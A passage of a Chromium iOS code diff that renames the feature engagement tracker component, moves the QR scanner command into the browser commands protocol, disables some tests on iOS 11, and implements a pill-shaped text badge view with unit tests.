-  [[EarlGrey selectElementWithMatcher:grey_accessibilityLabel(
-                                          clearTextFieldIdentifier)]
+  // TODO(crbug.com/748748): Getting the clear button from the text field since
+  // the clear button has no accessibility label on iOS11/XCode9 betas thus we
+  // can't access it directly. EarlGray team believes that this could be a bug
+  // and might be fixed later on.
+  id<GREYMatcher> clearTextButton =
+      grey_allOf(grey_ancestor(grey_accessibilityID(titleIdentifier)),
+                 grey_kindOfClass([UIButton class]), nil);
+  [[EarlGrey selectElementWithMatcher:clearTextButton]
       performAction:grey_tap()];
 
   // Type in the new title and use '\n' to dismiss the keyboard.
diff --git a/ios/chrome/browser/ui/browser_view_controller.h b/ios/chrome/browser/ui/browser_view_controller.h
index b7b32ca4..d9c0a89 100644
--- a/ios/chrome/browser/ui/browser_view_controller.h
+++ b/ios/chrome/browser/ui/browser_view_controller.h
@@ -139,9 +139,6 @@
 // Shows the voice search UI.
 - (void)startVoiceSearch;
 
-// Shows the QR scanner UI.
-- (void)showQRScanner;
-
 // Focuses the omnibox.
 - (void)focusOmnibox;
 
diff --git a/ios/chrome/browser/ui/browser_view_controller.mm b/ios/chrome/browser/ui/browser_view_controller.mm
index 6bd8571e..c2fefb6 100644
--- a/ios/chrome/browser/ui/browser_view_controller.mm
+++ b/ios/chrome/browser/ui/browser_view_controller.mm
@@ -38,8 +38,8 @@
 #include "base/threading/thread_restrictions.h"
 #include "components/bookmarks/browser/base_bookmark_model_observer.h"
 #include "components/bookmarks/browser/bookmark_model.h"
-#include "components/feature_engagement_tracker/public/event_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/event_constants.h"
+#include "components/feature_engagement/public/tracker.h"
 #include "components/image_fetcher/ios/ios_image_data_fetcher_wrapper.h"
 #include "components/infobars/core/infobar_manager.h"
 #include "components/payments/core/features.h"
@@ -58,8 +58,8 @@
 #include "ios/chrome/browser/experimental_flags.h"
 #import "ios/chrome/browser/favicon/favicon_loader.h"
 #include "ios/chrome/browser/favicon/ios_chrome_favicon_loader_factory.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_util.h"
+#include "ios/chrome/browser/feature_engagement/tracker_factory.h"
+#include "ios/chrome/browser/feature_engagement/tracker_util.h"
 #import "ios/chrome/browser/find_in_page/find_in_page_controller.h"
 #import "ios/chrome/browser/find_in_page/find_in_page_model.h"
 #import "ios/chrome/browser/find_in_page/find_tab_helper.h"
@@ -3789,9 +3789,8 @@
               inBackground:(BOOL)inBackground
                   appendTo:(OpenPosition)appendTo {
   // Send either the "New Tab Opened" or "New Incognito Tab" opened to the
-  // FeatureEngagementTracker based on |inIncognito|.
-  feature_engagement_tracker::NotifyNewTabEvent(_model.browserState,
-                                                inIncognito);
+  // feature_engagement::Tracker based on |inIncognito|.
+  feature_engagement::NotifyNewTabEvent(_model.browserState, inIncognito);
 
   if (inIncognito == _isOffTheRecord) {
     [self webPageOrderedOpen:url
@@ -4036,10 +4035,9 @@
   }
 
   // Either send or don't send the "New Tab Opened" or "Incognito Tab Opened"
-  // events to the FeatureEngagementTracker based on |command.userInitiated| and
-  // |command.incognito|.
-  feature_engagement_tracker::NotifyNewTabEventForCommand(_browserState,
-                                                          command);
+  // events to the feature_engagement::Tracker based on |command.userInitiated|
+  // and |command.incognito|.
+  feature_engagement::NotifyNewTabEventForCommand(_browserState, command);
 
   NSTimeInterval startTime = [NSDate timeIntervalSinceReferenceDate];
   BOOL offTheRecord = self.isOffTheRecord;
@@ -4093,6 +4091,15 @@
   [self addToReadingListURL:[command URL] title:[command title]];
 }
 
+- (void)showQRScanner {
+  _qrScannerViewController =
+      [[QRScannerViewController alloc] initWithDelegate:_toolbarController];
+  [self presentViewController:[_qrScannerViewController
+                                  getViewControllerToPresent]
+                     animated:YES
+                   completion:nil];
+}
+
 #pragma mark - Command Handling
 
 - (IBAction)chromeExecuteCommand:(id)sender {
@@ -4214,9 +4221,6 @@
         _voiceSearchButton = sender;
       [super chromeExecuteCommand:sender];
       break;
-    case IDC_SHOW_QR_SCANNER:
-      [self showQRScanner];
-      break;
     default:
       // Unknown commands get sent up the responder chain.
       [super chromeExecuteCommand:sender];
@@ -4446,15 +4450,6 @@
   [_readingListCoordinator start];
 }
 
-- (void)showQRScanner {
-  _qrScannerViewController =
-      [[QRScannerViewController alloc] initWithDelegate:_toolbarController];
-  [self presentViewController:[_qrScannerViewController
-                                  getViewControllerToPresent]
-                     animated:YES
-                   completion:nil];
-}
-
 - (void)showNTPPanel:(NewTabPage::PanelIdentifier)panel {
   DCHECK(self.visible || self.dismissingModal);
   GURL url(kChromeUINewTabURL);
diff --git a/ios/chrome/browser/ui/commands/browser_commands.h b/ios/chrome/browser/ui/commands/browser_commands.h
index 085a1b4..2c9463e9 100644
--- a/ios/chrome/browser/ui/commands/browser_commands.h
+++ b/ios/chrome/browser/ui/commands/browser_commands.h
@@ -47,6 +47,9 @@
 // Adds a page to the reading list using data in |command|.
 - (void)addToReadingList:(ReadingListAddCommand*)command;
 
+// Shows the QR scanner UI.
+- (void)showQRScanner;
+
 @end
 
 #endif  // IOS_CHROME_BROWSER_UI_COMMANDS_BROWSER_COMMANDS_H_
diff --git a/ios/chrome/browser/ui/commands/ios_command_ids.h b/ios/chrome/browser/ui/commands/ios_command_ids.h
index a263ca2c..5e9e04c 100644
--- a/ios/chrome/browser/ui/commands/ios_command_ids.h
+++ b/ios/chrome/browser/ui/commands/ios_command_ids.h
@@ -52,7 +52,6 @@
 #define IDC_SHOW_READING_LIST                          40950
 #define IDC_SHOW_CLEAR_BROWSING_DATA_SETTINGS          40951
 #define IDC_SHOW_SYNC_PASSPHRASE_SETTINGS              40952
-#define IDC_SHOW_QR_SCANNER                            40953
 #define IDC_SHOW_AUTOFILL_SETTINGS                     40956
 // clang-format on
 
diff --git a/ios/chrome/browser/ui/content_suggestions/content_suggestions_header_controlling.h b/ios/chrome/browser/ui/content_suggestions/content_suggestions_header_controlling.h
index be0f9e83..b06b863 100644
--- a/ios/chrome/browser/ui/content_suggestions/content_suggestions_header_controlling.h
+++ b/ios/chrome/browser/ui/content_suggestions/content_suggestions_header_controlling.h
@@ -20,6 +20,9 @@
 // Unfocuses the omnibox.
 - (void)unfocusOmnibox;
 
+// Calls layoutIfNeeded on the header.
+- (void)layoutHeader;
+
 @end
 
 #endif  // IOS_CHROME_BROWSER_UI_CONTENT_SUGGESTIONS_CONTENT_SUGGESTIONS_HEADER_CONTROLLING_H_
diff --git a/ios/chrome/browser/ui/content_suggestions/content_suggestions_header_synchronizer.mm b/ios/chrome/browser/ui/content_suggestions/content_suggestions_header_synchronizer.mm
index 7f10486..84282a0 100644
--- a/ios/chrome/browser/ui/content_suggestions/content_suggestions_header_synchronizer.mm
+++ b/ios/chrome/browser/ui/content_suggestions/content_suggestions_header_synchronizer.mm
@@ -125,7 +125,11 @@
   [UIView animateWithDuration:kShiftTilesUpAnimationDuration
       animations:^{
         if (self.collectionView.contentOffset.y < pinnedOffsetY) {
+          // Changing the contentOffset of the collection results in a scroll
+          // and a change in the constraints of the header.
           self.collectionView.contentOffset = CGPointMake(0, pinnedOffsetY);
+          // Layout the header for the constraints to be animated.
+          [self.headerController layoutHeader];
           [self.collectionView.collectionViewLayout invalidateLayout];
         }
       }
diff --git a/ios/chrome/browser/ui/content_suggestions/content_suggestions_view_controller.mm b/ios/chrome/browser/ui/content_suggestions/content_suggestions_view_controller.mm
index 08372c3..79624f0 100644
--- a/ios/chrome/browser/ui/content_suggestions/content_suggestions_view_controller.mm
+++ b/ios/chrome/browser/ui/content_suggestions/content_suggestions_view_controller.mm
@@ -409,8 +409,8 @@
 
 - (void)scrollViewDidScroll:(UIScrollView*)scrollView {
   [super scrollViewDidScroll:scrollView];
-  [self.overscrollActionsController scrollViewDidScroll:scrollView];
   [self.audience contentSuggestionsDidScroll];
+  [self.overscrollActionsController scrollViewDidScroll:scrollView];
   [self.headerCommandHandler updateFakeOmniboxForScrollView:scrollView];
   self.scrolledToTop =
       scrollView.contentOffset.y >= [self.suggestionsDelegate pinnedOffsetY];
diff --git a/ios/chrome/browser/ui/print/print_controller_egtest.mm b/ios/chrome/browser/ui/print/print_controller_egtest.mm
index f27925f9..25b993e3 100644
--- a/ios/chrome/browser/ui/print/print_controller_egtest.mm
+++ b/ios/chrome/browser/ui/print/print_controller_egtest.mm
@@ -6,6 +6,7 @@
 #import <UIKit/UIKit.h>
 #import <XCTest/XCTest.h>
 
+#include "base/ios/ios_util.h"
 #import "ios/chrome/browser/ui/uikit_ui_util.h"
 #include "ios/chrome/grit/ios_strings.h"
 #include "ios/chrome/test/app/navigation_test_util.h"
@@ -45,6 +46,12 @@
 // Tests that the AirPrint menu successfully loads when a normal web page is
 // loaded.
 - (void)testPrintNormalPage {
+  // TODO(crbug.com/747622): re-enable this test on iOS 11 once earl grey can
+  // interact with the share menu.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   GURL url = web::test::HttpServer::MakeUrl(kHTMLURL);
   std::map<GURL, std::string> responses;
   std::string response = "Test";
@@ -59,6 +66,12 @@
 
 // Tests that the AirPrint menu successfully loads when a PDF is loaded.
 - (void)testPrintPDF {
+  // TODO(crbug.com/747622): re-enable this test on iOS 11 once earl grey can
+  // interact with the share menu.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   web::test::SetUpFileBasedHttpServer();
   GURL url = web::test::HttpServer::MakeUrl(kPDFURL);
   chrome_test_util::LoadUrl(url);
diff --git a/ios/chrome/browser/ui/qr_scanner/qr_scanner_view_controller_egtest.mm b/ios/chrome/browser/ui/qr_scanner/qr_scanner_view_controller_egtest.mm
index ef08816..962b623 100644
--- a/ios/chrome/browser/ui/qr_scanner/qr_scanner_view_controller_egtest.mm
+++ b/ios/chrome/browser/ui/qr_scanner/qr_scanner_view_controller_egtest.mm
@@ -11,8 +11,6 @@
 #include "components/strings/grit/components_strings.h"
 #include "components/version_info/version_info.h"
 #import "ios/chrome/app/main_controller.h"
-#include "ios/chrome/browser/chrome_switches.h"
-#include "ios/chrome/browser/experimental_flags.h"
 #import "ios/chrome/browser/ui/browser_view_controller.h"
 #import "ios/chrome/browser/ui/commands/generic_chrome_command.h"
 #include "ios/chrome/browser/ui/commands/ios_command_ids.h"
@@ -114,29 +112,21 @@
 
 // Opens the QR Scanner view.
 void ShowQRScanner() {
-  // TODO(crbug.com/738106): only show the QR Scanner via the Keyboard Accessory
-  // View.
-  if (experimental_flags::IsKeyboardAccessoryViewWithCameraSearchEnabled()) {
-    // Tap the omnibox to get the keyboard accessory view to show up.
-    id<GREYMatcher> locationbarButton = grey_allOf(
-        grey_accessibilityLabel(l10n_util::GetNSString(IDS_OMNIBOX_EMPTY_HINT)),
-        grey_minimumVisiblePercent(0.2), nil);
-    [[EarlGrey selectElementWithMatcher:locationbarButton]
-        assertWithMatcher:grey_text(@"Search or type URL")];
-    [[EarlGrey selectElementWithMatcher:locationbarButton]
-        performAction:grey_tap()];
+  // Tap the omnibox to get the keyboard accessory view to show up.
+  id<GREYMatcher> locationbarButton = grey_allOf(
+      grey_accessibilityLabel(l10n_util::GetNSString(IDS_OMNIBOX_EMPTY_HINT)),
+      grey_minimumVisiblePercent(0.2), nil);
+  [[EarlGrey selectElementWithMatcher:locationbarButton]
+      assertWithMatcher:grey_text(@"Search or type URL")];
+  [[EarlGrey selectElementWithMatcher:locationbarButton]
+      performAction:grey_tap()];
 
-    // Tap the QR Code scanner button in the keyboard accessory view.
-    id<GREYMatcher> matcher =
-        grey_allOf(grey_accessibilityLabel(@"QR code Search"),
-                   grey_kindOfClass([UIButton class]), nil);
+  // Tap the QR Code scanner button in the keyboard accessory view.
+  id<GREYMatcher> matcher =
+      grey_allOf(grey_accessibilityLabel(@"QR code Search"),
+                 grey_kindOfClass([UIButton class]), nil);
 
-    [[EarlGrey selectElementWithMatcher:matcher] performAction:grey_tap()];
-  } else {
-    GenericChromeCommand* command =
-        [[GenericChromeCommand alloc] initWithTag:IDC_SHOW_QR_SCANNER];
-    chrome_test_util::RunCommandWithActiveViewController(command);
-  }
+  [[EarlGrey selectElementWithMatcher:matcher] performAction:grey_tap()];
 }
 
 // Taps the |button|.
diff --git a/ios/chrome/browser/ui/reading_list/BUILD.gn b/ios/chrome/browser/ui/reading_list/BUILD.gn
index e39825e7..7d6b9be 100644
--- a/ios/chrome/browser/ui/reading_list/BUILD.gn
+++ b/ios/chrome/browser/ui/reading_list/BUILD.gn
@@ -24,7 +24,7 @@
     ":reading_list_ui",
     "//base",
     "//components/favicon/core",
-    "//components/feature_engagement_tracker",
+    "//components/feature_engagement",
     "//components/reading_list/core",
     "//components/reading_list/ios",
     "//components/url_formatter",
@@ -32,7 +32,7 @@
     "//ios/chrome/browser",
     "//ios/chrome/browser/browser_state",
     "//ios/chrome/browser/favicon",
-    "//ios/chrome/browser/feature_engagement_tracker",
+    "//ios/chrome/browser/feature_engagement",
     "//ios/chrome/browser/reading_list",
     "//ios/chrome/browser/ui",
     "//ios/chrome/browser/ui/alert_coordinator",
@@ -120,13 +120,13 @@
     "//base/test:test_support",
     "//components/favicon/core",
     "//components/favicon/core/test:test_support",
-    "//components/feature_engagement_tracker",
+    "//components/feature_engagement",
     "//components/prefs",
     "//components/reading_list/core",
     "//components/url_formatter",
     "//ios/chrome/browser/browser_state:test_support",
     "//ios/chrome/browser/favicon",
-    "//ios/chrome/browser/feature_engagement_tracker",
+    "//ios/chrome/browser/feature_engagement",
     "//ios/chrome/browser/reading_list",
     "//ios/chrome/browser/tabs",
     "//ios/chrome/browser/ui",
diff --git a/ios/chrome/browser/ui/reading_list/reading_list_coordinator.mm b/ios/chrome/browser/ui/reading_list/reading_list_coordinator.mm
index 033b53c..f97210f 100644
--- a/ios/chrome/browser/ui/reading_list/reading_list_coordinator.mm
+++ b/ios/chrome/browser/ui/reading_list/reading_list_coordinator.mm
@@ -8,12 +8,12 @@
 #include "base/metrics/histogram_macros.h"
 #include "base/metrics/user_metrics.h"
 #include "base/metrics/user_metrics_action.h"
-#include "components/feature_engagement_tracker/public/event_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/event_constants.h"
+#include "components/feature_engagement/public/tracker.h"
 #include "components/reading_list/core/reading_list_model.h"
 #include "ios/chrome/browser/browser_state/chrome_browser_state.h"
 #include "ios/chrome/browser/favicon/ios_chrome_large_icon_service_factory.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
+#include "ios/chrome/browser/feature_engagement/tracker_factory.h"
 #include "ios/chrome/browser/reading_list/offline_url_utils.h"
 #include "ios/chrome/browser/reading_list/reading_list_download_service.h"
 #include "ios/chrome/browser/reading_list/reading_list_download_service_factory.h"
@@ -115,10 +115,10 @@
                                         animated:YES
                                       completion:nil];
 
-  // Send the "Viewed Reading List" event to the FeatureEngagementTracker when
-  // the user opens their reading list.
-  FeatureEngagementTrackerFactory::GetForBrowserState(self.browserState)
-      ->NotifyEvent(feature_engagement_tracker::events::kViewedReadingList);
+  // Send the "Viewed Reading List" event to the feature_engagement::Tracker
+  // when the user opens their reading list.
+  feature_engagement::TrackerFactory::GetForBrowserState(self.browserState)
+      ->NotifyEvent(feature_engagement::events::kViewedReadingList);
 }
 
 - (void)stop {
diff --git a/ios/chrome/browser/ui/reading_list/reading_list_coordinator_unittest.mm b/ios/chrome/browser/ui/reading_list/reading_list_coordinator_unittest.mm
index 666caeb..d01fb1205 100644
--- a/ios/chrome/browser/ui/reading_list/reading_list_coordinator_unittest.mm
+++ b/ios/chrome/browser/ui/reading_list/reading_list_coordinator_unittest.mm
@@ -9,13 +9,13 @@
 #include "base/time/default_clock.h"
 #include "components/favicon/core/large_icon_service.h"
 #include "components/favicon/core/test/mock_favicon_service.h"
-#include "components/feature_engagement_tracker/public/event_constants.h"
-#include "components/feature_engagement_tracker/public/feature_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/event_constants.h"
+#include "components/feature_engagement/public/feature_constants.h"
+#include "components/feature_engagement/public/tracker.h"
 #include "components/reading_list/core/reading_list_entry.h"
 #include "components/reading_list/core/reading_list_model_impl.h"
 #include "ios/chrome/browser/browser_state/test_chrome_browser_state.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
+#include "ios/chrome/browser/feature_engagement/tracker_factory.h"
 #include "ios/chrome/browser/reading_list/offline_url_utils.h"
 #import "ios/chrome/browser/ui/collection_view/collection_view_model.h"
 #import "ios/chrome/browser/ui/reading_list/reading_list_collection_view_controller.h"
@@ -100,11 +100,11 @@
 
 @end
 
-#pragma mark - FeatureEngagementTracker
+#pragma mark - feature_engagement::Tracker
+namespace feature_engagement {
 namespace {
 
-class FeatureEngagementTrackerStub
-    : public feature_engagement_tracker::FeatureEngagementTracker {
+class TrackerStub : public feature_engagement::Tracker {
  public:
   MOCK_METHOD1(NotifyEvent, void(const std::string&));
   MOCK_METHOD1(ShouldTriggerHelpUI, bool(const base::Feature& feature));
@@ -114,6 +114,7 @@
 };
 
 }  //  namespace
+}  //  namespace feature_engagement
 
 #pragma mark - ReadingListCoordinatorTest
 
@@ -124,7 +125,7 @@
 
     TestChromeBrowserState::Builder builder;
     builder.AddTestingFactory(
-        FeatureEngagementTrackerFactory::GetInstance(),
+        feature_engagement::TrackerFactory::GetInstance(),
         ReadingListCoordinatorTest::BuildFeatureEngagementTrackerStub);
     browser_state_ = builder.Build();
 
@@ -165,7 +166,7 @@
 
   static std::unique_ptr<KeyedService> BuildFeatureEngagementTrackerStub(
       web::BrowserState*) {
-    return base::MakeUnique<FeatureEngagementTrackerStub>();
+    return base::MakeUnique<feature_engagement::TrackerStub>();
   }
 
  private:
@@ -262,14 +263,13 @@
 
 TEST_F(ReadingListCoordinatorTest, SendViewedReadingListEventInStart) {
   // Setup.
-  FeatureEngagementTrackerStub* tracker =
-      static_cast<FeatureEngagementTrackerStub*>(
-          FeatureEngagementTrackerFactory::GetForBrowserState(
+  feature_engagement::TrackerStub* tracker =
+      static_cast<feature_engagement::TrackerStub*>(
+          feature_engagement::TrackerFactory::GetForBrowserState(
               GetBrowserState()));
 
   // Actions and Tests.
-  EXPECT_CALL(
-      (*tracker),
-      NotifyEvent(feature_engagement_tracker::events::kViewedReadingList));
+  EXPECT_CALL((*tracker),
+              NotifyEvent(feature_engagement::events::kViewedReadingList));
   [GetCoordinator() start];
 }
diff --git a/ios/chrome/browser/ui/reading_list/reading_list_egtest.mm b/ios/chrome/browser/ui/reading_list/reading_list_egtest.mm
index 898ffc46..be7dcf7 100644
--- a/ios/chrome/browser/ui/reading_list/reading_list_egtest.mm
+++ b/ios/chrome/browser/ui/reading_list/reading_list_egtest.mm
@@ -6,6 +6,7 @@
 #import <UIKit/UIKit.h>
 #import <XCTest/XCTest.h>
 
+#include "base/ios/ios_util.h"
 #include "base/memory/ptr_util.h"
 #include "base/strings/sys_string_conversions.h"
 #include "base/strings/utf_string_conversions.h"
@@ -399,6 +400,12 @@
 // appearing, and that the Reading List entry is present in the Reading List.
 // Loads offline version via context menu.
 - (void)testSavingToReadingListAndLoadDistilled {
+  // TODO(crbug.com/747622): re-enable this test on iOS 11 once earl grey can
+  // interact with the share menu.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   auto network_change_disabler =
       base::MakeUnique<net::NetworkChangeNotifier::DisableForTest>();
   auto wifi_network = base::MakeUnique<WifiNetworkChangeNotifier>();
@@ -447,6 +454,12 @@
 // appearing, and that the Reading List entry is present in the Reading List.
 // Loads online version by tapping on entry.
 - (void)testSavingToReadingListAndLoadNormal {
+  // TODO(crbug.com/747622): re-enable this test on iOS 11 once earl grey can
+  // interact with the share menu.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   auto network_change_disabler =
       base::MakeUnique<net::NetworkChangeNotifier::DisableForTest>();
   auto wifi_network = base::MakeUnique<WifiNetworkChangeNotifier>();
@@ -486,6 +499,12 @@
 // appearing, and that the Reading List entry is present in the Reading List.
 // Loads offline version by tapping on entry without web server.
 - (void)testSavingToReadingListAndLoadNoNetwork {
+  // TODO(crbug.com/747622): re-enable this test on iOS 11 once earl grey can
+  // interact with the share menu.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   auto network_change_disabler =
       base::MakeUnique<net::NetworkChangeNotifier::DisableForTest>();
   auto wifi_network = base::MakeUnique<WifiNetworkChangeNotifier>();
@@ -530,6 +549,12 @@
 // appearing, and that the Reading List entry is present in the Reading List.
 // Loads offline version by tapping on entry with delayed web server.
 - (void)testSavingToReadingListAndLoadBadNetwork {
+  // TODO(crbug.com/747622): re-enable this test on iOS 11 once earl grey can
+  // interact with the share menu.
+  if (base::ios::IsRunningOnIOS11OrLater()) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 11.");
+  }
+
   auto network_change_disabler =
       base::MakeUnique<net::NetworkChangeNotifier::DisableForTest>();
   auto wifi_network = base::MakeUnique<WifiNetworkChangeNotifier>();
diff --git a/ios/chrome/browser/ui/reading_list/text_badge_view.h b/ios/chrome/browser/ui/reading_list/text_badge_view.h
index 6605b96..ced44fd 100644
--- a/ios/chrome/browser/ui/reading_list/text_badge_view.h
+++ b/ios/chrome/browser/ui/reading_list/text_badge_view.h
@@ -10,6 +10,9 @@
 // Pill-shaped view that displays white text.
 @interface TextBadgeView : UIView
 
+// Text displayed on the badge.
+@property(nonatomic, copy) NSString* text;
+
 // Initialize the text badge with the given display text.
 - (instancetype)initWithText:(NSString*)text NS_DESIGNATED_INITIALIZER;
 
diff --git a/ios/chrome/browser/ui/reading_list/text_badge_view.mm b/ios/chrome/browser/ui/reading_list/text_badge_view.mm
index 6f78208..8446d68 100644
--- a/ios/chrome/browser/ui/reading_list/text_badge_view.mm
+++ b/ios/chrome/browser/ui/reading_list/text_badge_view.mm
@@ -4,15 +4,80 @@
 
 #import "ios/chrome/browser/ui/reading_list/text_badge_view.h"
 
+#include "base/logging.h"
+#import "ios/chrome/browser/ui/colors/MDCPalette+CrAdditions.h"
+#import "ios/third_party/material_components_ios/src/components/Typography/src/MaterialTypography.h"
+
 #if !defined(__has_feature) || !__has_feature(objc_arc)
 #error "This file requires ARC support."
 #endif
 
+namespace {
+const CGFloat kFontSize = 10.0f;
+const CGFloat kLabelMargin = 2.5f;
+}
+
+@interface TextBadgeView ()
+@property(nonatomic, readonly, weak) UILabel* label;
+@end
+
 @implementation TextBadgeView
 
+@synthesize label = _label;
+
 - (instancetype)initWithText:(NSString*)text {
   self = [super initWithFrame:CGRectZero];
+  if (self) {
+    [self setAccessibilityLabel:text];
+    UILabel* label = [[UILabel alloc] initWithFrame:CGRectZero];
+    _label = label;
+    [label setFont:[[MDCTypography fontLoader] boldFontOfSize:kFontSize]];
+    [label setTranslatesAutoresizingMaskIntoConstraints:NO];
+    [label setTextColor:[UIColor whiteColor]];
+    [label setText:text];
+    [self addSubview:label];
+
+    [NSLayoutConstraint activateConstraints:@[
+      // Center label on badge.
+      [label.centerXAnchor constraintEqualToAnchor:self.centerXAnchor],
+      [label.centerYAnchor constraintEqualToAnchor:self.centerYAnchor],
+
+      // Make the badge height fit the label.
+      [self.heightAnchor constraintEqualToAnchor:label.heightAnchor
+                                        constant:kLabelMargin * 2],
+      // Ensure that the badge will never be taller than it is wide. For
+      // a tall label, the badge will look like a circle instead of an ellipse.
+      [self.widthAnchor constraintGreaterThanOrEqualToAnchor:self.heightAnchor],
+      // Make the badge width fit the label. Adding a constant offset equal to
+      // the label's height positions the label within the rectangular portion
+      // of the badge.
+      [self.widthAnchor
+          constraintGreaterThanOrEqualToAnchor:label.widthAnchor
+                                      constant:label.intrinsicContentSize
+                                                   .height],
+    ]];
+
+    [self setBackgroundColor:[[MDCPalette cr_bluePalette] tint500]];
+  }
   return self;
 }
 
+- (void)layoutSubviews {
+  [super layoutSubviews];
+  // Set the badge's corner radius to be one half of its height. This allows the
+  // ends of the badge to be circular.
+  self.layer.cornerRadius = self.bounds.size.height / 2.0f;
+}
+
+#pragma mark - Public properties
+
+- (NSString*)text {
+  return self.label.text;
+}
+
+- (void)setText:(NSString*)text {
+  DCHECK(text.length);
+  self.label.text = text;
+}
+
 @end
diff --git a/ios/chrome/browser/ui/reading_list/text_badge_view_unittest.mm b/ios/chrome/browser/ui/reading_list/text_badge_view_unittest.mm
index 1fd6c3e..f35ed4a 100644
--- a/ios/chrome/browser/ui/reading_list/text_badge_view_unittest.mm
+++ b/ios/chrome/browser/ui/reading_list/text_badge_view_unittest.mm
@@ -4,8 +4,6 @@
 
 #import "ios/chrome/browser/ui/reading_list/text_badge_view.h"
 
-#import <Foundation/Foundation.h>
-
 #include "testing/gtest/include/gtest/gtest.h"
 #include "testing/gtest_mac.h"
 
@@ -13,14 +11,21 @@
 #error "This file requires ARC support."
 #endif
 
-// Tests the badge's intrinsic content size given short display text.
-TEST(TextBadgeViewTest, BadgeSizeShortLabel) {}
+// Test that the |text| property is set during initialization.
+TEST(TextBadgeViewTest, CreateBadge) {
+  TextBadgeView* badge = [[TextBadgeView alloc] initWithText:@"text"];
+  EXPECT_NSEQ(@"text", badge.text);
+}
 
-// Tests the badge's intrinsic content size given long display text.
-TEST(TextBadgeViewTest, BadgeSizeLongLabel) {}
+// Test setting the |text| property.
+TEST(TextBadgeViewTest, SetText) {
+  TextBadgeView* badge = [[TextBadgeView alloc] initWithText:@"text 1"];
+  [badge setText:@"text 2"];
+  EXPECT_NSEQ(@"text 2", badge.text);
+}
 
-// Tests that text and layout flip for RTL languages.
-TEST(TextBadgeViewTest, RTL) {}
-
-// Tests that the accessibility label matches the display text.
-TEST(TextBadgeViewTest, Accessibility) {}
+// Test that the accessibility label matches the display text.
+TEST(TextBadgeViewTest, Accessibility) {
+  TextBadgeView* badge = [[TextBadgeView alloc] initWithText:@"display"];
+  EXPECT_NSEQ(@"display", badge.accessibilityLabel);
+}
diff --git a/ios/chrome/browser/ui/settings/BUILD.gn b/ios/chrome/browser/ui/settings/BUILD.gn
index 3ead793..bb4f70b 100644
--- a/ios/chrome/browser/ui/settings/BUILD.gn
+++ b/ios/chrome/browser/ui/settings/BUILD.gn
@@ -92,7 +92,7 @@
     "//components/browsing_data/core",
     "//components/content_settings/core/browser",
     "//components/content_settings/core/common",
-    "//components/feature_engagement_tracker",
+    "//components/feature_engagement",
     "//components/google/core/browser",
     "//components/handoff",
     "//components/history/core/browser",
@@ -123,7 +123,7 @@
     "//ios/chrome/browser/browser_state:browser_state_impl",
     "//ios/chrome/browser/browsing_data",
     "//ios/chrome/browser/content_settings",
-    "//ios/chrome/browser/feature_engagement_tracker",
+    "//ios/chrome/browser/feature_engagement",
     "//ios/chrome/browser/history",
     "//ios/chrome/browser/passwords",
     "//ios/chrome/browser/physical_web",
diff --git a/ios/chrome/browser/ui/settings/clear_browsing_data_collection_view_controller.mm b/ios/chrome/browser/ui/settings/clear_browsing_data_collection_view_controller.mm
index 998fce47..c290b32 100644
--- a/ios/chrome/browser/ui/settings/clear_browsing_data_collection_view_controller.mm
+++ b/ios/chrome/browser/ui/settings/clear_browsing_data_collection_view_controller.mm
@@ -20,8 +20,8 @@
 #include "components/browsing_data/core/counters/browsing_data_counter.h"
 #include "components/browsing_data/core/history_notice_utils.h"
 #include "components/browsing_data/core/pref_names.h"
-#include "components/feature_engagement_tracker/public/event_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/event_constants.h"
+#include "components/feature_engagement/public/tracker.h"
 #include "components/google/core/browser/google_util.h"
 #include "components/history/core/browser/web_history_service.h"
 #include "components/prefs/pref_service.h"
@@ -34,7 +34,7 @@
 #include "ios/chrome/browser/browsing_data/ios_chrome_browsing_data_remover.h"
 #include "ios/chrome/browser/chrome_url_constants.h"
 #include "ios/chrome/browser/experimental_flags.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
+#include "ios/chrome/browser/feature_engagement/tracker_factory.h"
 #include "ios/chrome/browser/history/web_history_service_factory.h"
 #include "ios/chrome/browser/signin/signin_manager_factory.h"
 #include "ios/chrome/browser/sync/ios_chrome_profile_sync_service_factory.h"
@@ -639,11 +639,11 @@
                                                   timePeriod:_timePeriod];
   [self chromeExecuteCommand:command];
 
-  // Send the "Cleared Browsing Data" event to the FeatureEngagementTracker
+  // Send the "Cleared Browsing Data" event to the feature_engagement::Tracker
   // when the user initiates a clear browsing data action. No event is sent if
   // the browsing data is cleared without the user's input.
-  FeatureEngagementTrackerFactory::GetForBrowserState(_browserState)
-      ->NotifyEvent(feature_engagement_tracker::events::kClearedBrowsingData);
+  feature_engagement::TrackerFactory::GetForBrowserState(_browserState)
+      ->NotifyEvent(feature_engagement::events::kClearedBrowsingData);
 
   if (!!(dataTypeMask && IOSChromeBrowsingDataRemover::REMOVE_HISTORY)) {
     [self showBrowsingHistoryRemovedDialog];
diff --git a/ios/chrome/browser/ui/stack_view/BUILD.gn b/ios/chrome/browser/ui/stack_view/BUILD.gn
index a9f5828..681f603 100644
--- a/ios/chrome/browser/ui/stack_view/BUILD.gn
+++ b/ios/chrome/browser/ui/stack_view/BUILD.gn
@@ -42,11 +42,11 @@
     "resources:card_frame_shadow",
